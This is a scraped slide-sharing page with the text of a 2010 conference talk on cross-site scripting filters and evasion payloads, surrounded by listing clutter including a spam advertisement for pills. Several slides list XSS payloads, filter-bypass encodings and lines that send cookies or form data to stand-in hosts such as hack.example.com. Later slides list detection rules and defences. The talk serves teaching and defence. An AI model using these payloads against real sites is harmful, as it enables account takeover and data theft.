6.2 Properties of Quadrilaterals notes6.2 Properties of Quadrilaterals notes
6.2 Properties of Quadrilaterals notes
 
Kupu2
Kupu2Kupu2
Kupu2
 
Limpiar la pc
Limpiar la pcLimpiar la pc
Limpiar la pc
 
CONCOURS D'EXPRESSION EOI ALBACETE
CONCOURS D'EXPRESSION EOI ALBACETECONCOURS D'EXPRESSION EOI ALBACETE
CONCOURS D'EXPRESSION EOI ALBACETE
 
Volante "Postergación del IVA"
Volante "Postergación del IVA"Volante "Postergación del IVA"
Volante "Postergación del IVA"
 
La casa de Jim Thomson
La casa de Jim ThomsonLa casa de Jim Thomson
La casa de Jim Thomson
 
Zyled par series
Zyled par seriesZyled par series
Zyled par series
 
Facebook ja turismiturundus
Facebook ja turismiturundusFacebook ja turismiturundus
Facebook ja turismiturundus
 
Funda gürbüz(twitter)
Funda gürbüz(twitter)Funda gürbüz(twitter)
Funda gürbüz(twitter)
 
Pruebas multiárea para 3
Pruebas multiárea para 3Pruebas multiárea para 3
Pruebas multiárea para 3
 

Similar to RSA Conference 2010 San Francisco

Analysis of web application worms and viruses
Analysis of web application worms and virusesAnalysis of web application worms and viruses
Analysis of web application worms and viruses
UltraUploader
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 

Similar to RSA Conference 2010 San Francisco (20)

Web Security
Web SecurityWeb Security
Web Security
 
Top web apps security vulnerabilities
Top web apps security vulnerabilitiesTop web apps security vulnerabilities
Top web apps security vulnerabilities
 
ASP.NET security vulnerabilities
ASP.NET security vulnerabilitiesASP.NET security vulnerabilities
ASP.NET security vulnerabilities
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 seba
 
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
 DDD17 - Web Applications Automated Security Testing in a Continuous Delivery... DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
 
Introduction to Mod security session April 2016
Introduction to Mod security session April 2016Introduction to Mod security session April 2016
Introduction to Mod security session April 2016
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax security
 
Analysis of web application worms and viruses
Analysis of web application worms and virusesAnalysis of web application worms and viruses
Analysis of web application worms and viruses
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Detection of webshells in compromised perimeter assets using ML algorithms
Detection of webshells in compromised perimeter assets using ML algorithms Detection of webshells in compromised perimeter assets using ML algorithms
Detection of webshells in compromised perimeter assets using ML algorithms
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
OWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 

More from Aditya K Sood

DEF CON 20 - Botnets Die Hard - Owned and Operated
DEF CON 20 - Botnets Die Hard - Owned and OperatedDEF CON 20 - Botnets Die Hard - Owned and Operated
DEF CON 20 - Botnets Die Hard - Owned and Operated
Aditya K Sood
 
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Aditya K Sood
 
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Aditya K Sood
 
Commercial Cyber Crime - Social Networks Malware
Commercial Cyber Crime - Social Networks MalwareCommercial Cyber Crime - Social Networks Malware
Commercial Cyber Crime - Social Networks Malware
Aditya K Sood
 
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Aditya K Sood
 
OWASP AppSec USA 2011 - Dismantling Web Malware
OWASP AppSec USA 2011 - Dismantling Web MalwareOWASP AppSec USA 2011 - Dismantling Web Malware
OWASP AppSec USA 2011 - Dismantling Web Malware
Aditya K Sood
 
Browser Malware Taxonomy
Browser Malware TaxonomyBrowser Malware Taxonomy
Browser Malware Taxonomy
Aditya K Sood
 
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
Aditya K Sood
 

More from Aditya K Sood (20)

Emerging Trends in Online Social Networks Malware
Emerging Trends in Online Social Networks MalwareEmerging Trends in Online Social Networks Malware
Emerging Trends in Online Social Networks Malware
 
Enfilade: Tool to Detect Infections in MongoDB Instances
Enfilade: Tool to Detect Infections in MongoDB InstancesEnfilade: Tool to Detect Infections in MongoDB Instances
Enfilade: Tool to Detect Infections in MongoDB Instances
 
Detecting Ransomware/Bot Infections in Elasticsearch
Detecting Ransomware/Bot Infections in ElasticsearchDetecting Ransomware/Bot Infections in Elasticsearch
Detecting Ransomware/Bot Infections in Elasticsearch
 
BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...
BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...
BlackHat Arsenal 2014 - C-SCAD : Assessing Security Flaws in C-SCAD WebX Clie...
 
Network Security : Book Review : Targeted Cyber Attacks : Aditya K Sood
Network Security : Book Review : Targeted Cyber Attacks : Aditya K SoodNetwork Security : Book Review : Targeted Cyber Attacks : Aditya K Sood
Network Security : Book Review : Targeted Cyber Attacks : Aditya K Sood
 
Abusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and DefencesAbusing Glype Proxies - Attacks, Exploits and Defences
Abusing Glype Proxies - Attacks, Exploits and Defences
 
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin MagazineNIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
NIframer - CPanel IFrame Injector (Bash based) - Virus Bulletin Magazine
 
CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...
CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...
CrossTalk - The Art of Cyber Bank Robbery - Stealing your Money Through Insid...
 
BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...
BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...
BlackHat USA 2013 Arsenal - Sparty : A FrontPage and SharePoint Security Audi...
 
ToorCon 14 : Malandroid : The Crux of Android Infections
ToorCon 14 : Malandroid : The Crux of Android InfectionsToorCon 14 : Malandroid : The Crux of Android Infections
ToorCon 14 : Malandroid : The Crux of Android Infections
 
DEF CON 20 - Botnets Die Hard - Owned and Operated
DEF CON 20 - Botnets Die Hard - Owned and OperatedDEF CON 20 - Botnets Die Hard - Owned and Operated
DEF CON 20 - Botnets Die Hard - Owned and Operated
 
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
Hackers on Planet Earth (HOPE - 2012) Advancements in Botnet Attacks
 
NGR Bot Analysis Paper
NGR Bot Analysis PaperNGR Bot Analysis Paper
NGR Bot Analysis Paper
 
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
Virus bulletin 2011 Conference Paper - Browser Exploit Packs - Exploitation T...
 
Commercial Cyber Crime - Social Networks Malware
Commercial Cyber Crime - Social Networks MalwareCommercial Cyber Crime - Social Networks Malware
Commercial Cyber Crime - Social Networks Malware
 
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
Virus Bulletin 2011 Conference - Browser Exploit Packs - Death by Bundled Exp...
 
OWASP AppSec USA 2011 - Dismantling Web Malware
OWASP AppSec USA 2011 - Dismantling Web MalwareOWASP AppSec USA 2011 - Dismantling Web Malware
OWASP AppSec USA 2011 - Dismantling Web Malware
 
Browser Malware Taxonomy
Browser Malware TaxonomyBrowser Malware Taxonomy
Browser Malware Taxonomy
 
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
BruCon (Brussels 2011) Hacking Conference - Botnets and Browsers (Brothers in...
 
PenTest Magazine Teaser - Mobile Hacking
PenTest Magazine Teaser - Mobile HackingPenTest Magazine Teaser - Mobile Hacking
PenTest Magazine Teaser - Mobile Hacking
 

Recently uploaded

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Recently uploaded (20)

Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 

RSA Conference 2010 San Francisco

  • 1. UNTAMED XSS WARS – FILTERS VS. PAYLOADS Aditya K Sood , Sr. Security Researcher Vulnerability Research Labs (VRL) COSEINC , Singapore Session ID: HT1-303 Session Track: Hackers and Threats
  • 2. ABOUT ME 2 • Security Researcher – Vulnerability Research Labs – COSEINC (http://www.coseinc.com ) • Founder SecNiche Security (http://www.secniche.org) • Information Security Author at various. • Speaker at various security conferences. • Working in the security field for last 7 years. DISCLAIMER All vulnerabilities and attacks presented in this presentation were discovered during my professional avocation with web application penetration testing and research. This research is different from my ongoing routine work. All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represent the beliefs of my current, or any of my previous in that effect, employers. All for Education and Developmental Purposes
  • 3. AGENDA Web 2.0 Artifacts and Web Attack Trends Under the Hood - Filters and Payloads Beating the Base - Differential XSS Attacks The Anti XSS World – Solutions and Problems 3
  • 4. Web 2.0 Artifacts and Web Attack Trends 4
  • 5. WEB 2.0 – THE RETROSPECTIVE • Interactive and centralized information sharing • Platform for participatory web • No segregation of work functionality , interdependency • Sort of online democracy – users to users • Web content utilization at large scale • Backward compatible with web 1.0 • Applications – web driven and desktop structured 5
  • 6. THINKING - WEB APPLICATION STATE AND RISKS 6 © OWASP
  • 7. BUSINESS BAY – APPLICATION SERVES PLATINUM • Business dependency on application layer • Integration of business processes for automation on web • End user services via web applications • Giant step towards Cloud Computing • Global presence , transactions and real time communication • Business Chess – Walk Fast , Fetch Money on Web • Business Model – Web 2.0 is the Golden Key 7
  • 8. WEB APPLICATION – SECURITY IS BROKEN 8
  • 9. MOST WIDESPREAD WEB VULNERABILITIES 9 © WASC
  • 10. XSS ANATOMY – THE TRUTH BEHIND BARS • Frivolous problem in the ongoing web system. • 80% of the common flaws are of XSS or its variants. • Reported and still remain unpatched. Security at its best. • Reasons for this behavior – People don’t know or don’t want to know. – Underestimate the impacts of XSS after understanding. – Insufficiently addressed even after understanding the risks. • An open door to takeover your integral components. 10
  • 11. WEB SECURITY MODEL – SOP AND XSS (VARIANTS) 11 SOP – Avoids Loading Content from different Domain. It can be Script or a Document XSS - Attack Serves the Loading of Malicious Script and Document from different Domain. SOP – Controlling JavaScript and DOM functions from different Domains XSS – Scripting Across Domains XSS is an output of inadequateness of same-origin policies
  • 12. UNDER THE HOOD Filters and Payloads 12
  • 13. XSS PAYLOADS – INSIDE THE GALLON • Randomization – Execution in a diversified manner 13 • <script>alert("XSS");</script> • <script src="http://bad.example.org/exploit.js"></script> • <img src="javascript:alert('XSS');"> • <iframe src='vbscript:alert("XSS")'> • <body onload="alert('XSS');"> • <a href="#" onmouseover="alert('XSS');">Cool link</a> • <input type="text" size="20" onfocus="alert('XSS');"> • <span style="background-image:url(javascript:alert('XSS'))"> • <span style="x:expression(alert('XSS'))"> • <link rel="stylesheet" href="http://bad.example.org/exploit.css"> • <meta http-equiv="refresh" content="0;url=data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">
  • 14. XSS PAYLOADS – INSIDE THE GALLON • Camouflaging – Exploiting in a hidden manner 14 • <img src="javascript:alert(payload);"> Original attack • <IMG SRC="javascript:alert(payload);"> Case changed #1 • <iMg sRC="jaVasCript:alert(payload);"> Case changed #2 • <img src='javascript:alert(payload);'> Apostrophe instead of quotation marks • <img src=javascript:alert(payload);> No quotation marks at all • <img src="jav&#97;script:alert(payload);"> Entity used (decimal value) • <img src="&#x6a;avascript:alert(payload);"> Entity used (hexadecimal value) • <img src="&#X6A;avascript:alert(payload);"> Entity used (hexadecimal value, upper case) • <img src="j&#97vascript:alert(payload);"> Entity used (decimal value, no semicolon) • <img src="j&#00097;vascript:alert(payload);"> Entity used (decimal value, leading zeros) • <img src=" javascript:alert(payload);"> Space character in front • <img src="java&#09;script:alert(payload);"> Whitespace in between • <img/src="javascript:alert(payload);"> No space in tag • <img src="javascript:alert(payload);" Tag not closed • <img src ="jav a script:alert(payload);"> Line breaks
  • 15. XSS PAYLOADS – INSIDE THE GALLON • Variations in XSS realm 15 Runtime addition of tags in DOM • document.write('<tag>anydata</tag>'); • <iframe src="http://any.example.com/page.jsp?anyname=anyvalue"></iframe> • <img src="http://any.example.com/grab.php?data=all_stolen_information"> • <form name="hack" action="http://any.example.com/grab.php" method="post"> <input type="hidden" name="anyname" value="anyvalue"> </form> • <script src="http://any.example.com/more.js"> • <script src="http://hacked.example.com/js.php?data=some_data"></script> Cookie extraction at run time • var my_cookies = document.cookies; Command execution in specific time • window.setInterval('executeCommand()', 5000);
  • 16. XSS PAYLOADS – INSIDE THE GALLON • Variations in XSS realm 16 Arbitrary DOM Calls execution • document.hack.submit(); • document.logon.action = 'http://hack.example.com/grab.php'; • var stolen_data = document.order.ccnumber.value; • var where_am_i = document.location.href; Active X Code execution var fso = new ActiveXObject("Scripting.FileSystemObject"); XFile = fso.GetFile("c:businesssecret.txt"); stream = XFile.OpenAsTextStream(1, 0); var content = stream.ReadAll(); AJAX same domain request var xmlHttp; xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); xmlHttp.onreadystatechange=function() { if(xmlHttp.readyState==4) { var response = xmlHttp.responseText; } } try { xmlHttp.open("GET", "somepape.asp?parameter=anyvalue", true); xmlHttp.send(null);} catch (e) { }
  • 17. XSS CHARACTERISTICS – INSIDE THE GALLON • XSS – Impacts – Disclosure of arbitrary data (entered) in HTML forms – Disclosure of all text typed in an entire Web application – File system reconnaissance and enumeration – Disclosure of File contents and system files – Intranet access through the outside – Port scanning aka network reconnaissance – Web Spidering aka application reconnaissance – Fingerprinting and vulnerability scanning – Brute forcing , exploit triggering etc – Forcing rogue identities , identity thefts , privacy breaches etc – Hoaxes, phishing and malware distribution – File content manipulation , server degradation and device reconfig 17
  • 18. XSS – UNBEATEN AND THE WAR • There is no use of reinventing the wheel. Move ahead. – What about basics? – Why vulnerabilities still persist? – Something is missing or untamed. • WAR is RAW – Replica of same thing in a reversible manner. – Evasion and Detection – It all lies here. – Filters vs. Payloads. 18
  • 19. XSS – HOLISTIC PROTECTION • HTML input sanitization – PHP • htmlspecialchars($user_data) • htmlentities() • html_entity_decode() / html_entity_encode() • utf8_decode ( string $data ) / utf8_encode ( string $data ) – Ruby on Rails • h(user_data) • safe ERB Plugin  html_escape(user_data) » Works primarily for Escaping HTML characters » Fails in number of XSS variations. 19 Truth of Escaping and Best Practice String-escaping should be the last step of data manipulation when your priority is leak-proof escaping
  • 20. XSS – HOLISTIC PROTECTION • HTML parameter filtering – Ruby on Rails • HTML based Whitelist sanitizer  sanitize(html,options{}) • Applying tidy package 20 require 'tidy' html = '<html><title>title</title>Body</html>' xml = Tidy.open(:show_warnings=>true) do |tidy| tidy.options.output_xml = true puts tidy.options.show_warnings xml = tidy.clean(html) puts tidy.errors puts tidy.diagnostics xml end puts xml . Sanitize.clean(html, :elements => ['a', 'span'], :attributes => {'a' => ['href', 'title'], 'span' => ['class']}, :protocols => {'a' => {'href' => ['http', 'https', 'mailto']}}).
  • 21. XSS – SERVER SIDE FILTERS • Java xssfilt.jar – Filter is described in web.xml file – Protection is defined only for specific set of attributes – It can be beaten • Applying tidy package 21 <filter> <filter-name>XSSFilter</filter-name> <filter-class>com.cj.xss.XSSFilter</filter-class> </filter> <filter-mapping> <filter-name>XSSFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
  • 22. XSS – SERVER SIDE FILTERS • Modsecurity – Based on security rule sets defined in attack configuration files – Heavy use of regular expressions. Fault driven. – Attacks controlled on standard set of HTML elements and attributes • Effective Functionalities (A WAF Alias against XSS) – URL link signing – Cookie signing with certain crypto modules – Stripping off comments out of code. 22 • SecStripCommentCode On/Off • SecsSignCookies On/ Off • SecEncryptionPassword “password” • SecSignLinks On/ Off
  • 23. XSS – SERVER SIDE FILTERS • Modsecurity (Inefficient Layout) – Filters bypassing is easy with different XSS variants – Writing complex rules – a havoc or a nightmare – Not a generalized model for securing applications against XSS – Well Encodings , You want to rewrite filters again. Problem. – Updates occur very slowly. – Garbage value acceptance. – Heavy processing and optimization. 23 Generic XSS Filter SecFilter "<( |n)*script“ // allow commonly used HTML tags SecFilter "<(.|n)+>“ // block all html and javascript SecFilter "<[[:space:]]*script“ // a rogue xss filter , can be bypassed with simple tricks
  • 24. XSS – SERVER SIDE FILTERS / IDS • PHP-IDS – Integral rule sets for detecting XSS attacks – Regularly updated , Efficient in supporting Encoding schemes – Capturing power is really high. • Generic Functionalities – CPU consumption is high based on filters usage for a single attack – Overall Impact Ratio – based on number of filters involved – Destined filters , robust coding and detection algorithms 24
  • 25. XSS – SERVER SIDE FILTERS / IDS • PHP-IDS – Rule sets (Robust) 25 [Obfuscated Detection] (?:=s*[$w]s*[([])|(?:(s*(?:this|top|window|self|parent|_?content)s*))|(?:srcs*=s*(?:w+:|//))|(?: w+[("w+"|w+||))|(?:[dW]||[dW]|W=w+,)|(?:/s*+s*[a-z"])|(?:=s*$[^([]*()|(?:=s*(s*") [Basic Projection] +)|(?:&s*w+s*)[^,])|(?:+[Wd]*news+w+[Wd]*+)|(?:document.w) [PHP Centrifuge detection] (?:({2,}+{2,}:{2,})|(?:({2,}+{2,}:+)|(?:({3,}++:{2,})|(?:$[!!!]) [XSS Concatenation Patterns] (?:=s*w+s*+s*")|(?:+=s*(s")|(?:!+s*[d.,]+w?d*s*?)|(?:=s*[s*])|(?:"s*+s*")|(?:[^s][s*d+ s*]s*[;+])|(?:"s*[&|]+s*")|(?:/s*?s*")|(?:/s*)s*[)|(?:d?.+:d)|(?:]s*[W*w)|(?:[^s]s*=s*/) [Malicious Attribute Injection Check] (?:[sd/"]+(?:onw+|style)=[$"w]) Download - http://php-ids.org/files/phpids-0.6.3.1.zip [ default_filter.xml] [ Updates regularly found]
  • 26. XSS – MOZILLA CONTENT SECURITY POLICY • CSP – robust prevention against XSS – Scripts from white listed domains are allowed to execute – Events are allowed in an optimized way without HTML • Default Restrictions - overview 26 • The contents of internal <script> nodes • JavaScript: URIs, e.g. <a href="javascript:bad_stuff()"> • Event-handling attributes, e.g. <a onclick="bad_stuff()"> • data: URIs as a source for inline content. • eval() • setTimeout called with a String argument, e.g. setTimeout("evil string...", 1000) • setInterval called with a String argument, e.g. setInterval("evil string...", 1000) • new Function constructor, e.g. var f = new Function("evil string...") • JavaScript: URIs, e.g. <a href="javascript:bad_stuff()">
  • 27. CUSTOM FILTERS – MOZILLA ADDONS 27
  • 28. CUSTOM FILTERS – MOZILLA ADDONS • NoScript 28 Very Effective. False Positives.
  • 29. CUSTOM FILTERS – IE8 FILTER IN ACTION • IE 8 Reflective XSS Filter 29 Payload Detected. But still Bypassed. X-XSS-Protection: 0
  • 30. XSS FILTER NAVIGATION AND WORKING • Working functionality 30 Generic functionality and Bypasses
  • 31. XSS – FILTERS THINKING AND APPROACH • Base functionality • White listing – removing tags that are not on the list • Encodes “<” and “&” characters in content • Encodes non-printable and non-ASCII characters in attribute values • Correctly closes elements which must be empty. Sanitizing DIV tags. • Converts named character entities ( “&nbsp;” becomes “&#160;”) • Removes HTML comments and quoted unquoted attributes • Appropriate CDATA conversion (“<![CDATA[x<y]]>” becomes “x&lt;y”) • HTML-encodes XML processing instructions (<? X?> becomes &lt;? X ?&gt;) • Preventing ID spoofing by adding prefix to attributes • Adding optional tags for correct closing and following the specification • Matching HREF attributes against expressions “^(http:|https:|ftp:|mailto:|[#./])” • Removing content against SCRIPT elements • Parsing STYLE attributes and removing properties • (ONCLICK , SRC, BACKGROUND-IMAGE, IFRAMES) 31
  • 32. XSS – FILTERS THINKING AND APPROACH • Regular Expression – the base artifact of XSS filters 32 Web.NeatHtml/Filter.cs
  • 33. XSS – FILTERS THINKING AND APPROACH • Regular Expression – the base artifact of XSS filters • Mostly the regular expressions are implemented against whitelist • (/) End tag matching • ([a-z][a-z0-9_:]*)  Tag name capturing • ([_:a-z][_:a-z0-9.]*)  Attribute name capturing • ("[^<"]*"|'[^<']*'|[^"'][^ tnr<>]*)  Attribute value and quotes check • ([ tnr]*/?>)  Capturing last part of tag 33 Rule set 1 - <(/)?([a-z][a-z0-9_:]*)?  (/) Tag closing check and Rest is name matching Rule set 2 - <!--[^-]*(?:-[^-]+)*-->  Removing content out of comments Rule set 3 - <![CDATA[([^]]*(?:][^]]+)*)]]>  Complete encoding of CDATA Complex rule set – composite filters <(/)?(([a-z][a-z0-9_:]*)?(?:[ tnr]+([_:a-z][_:a-z0- 9.]*)((?:[ tnr]*=[ tnr]*("[^<"]*"|'[^<']*'|[^"'][^ tnr<>]*))?))*([ tnr]*/?>)?)
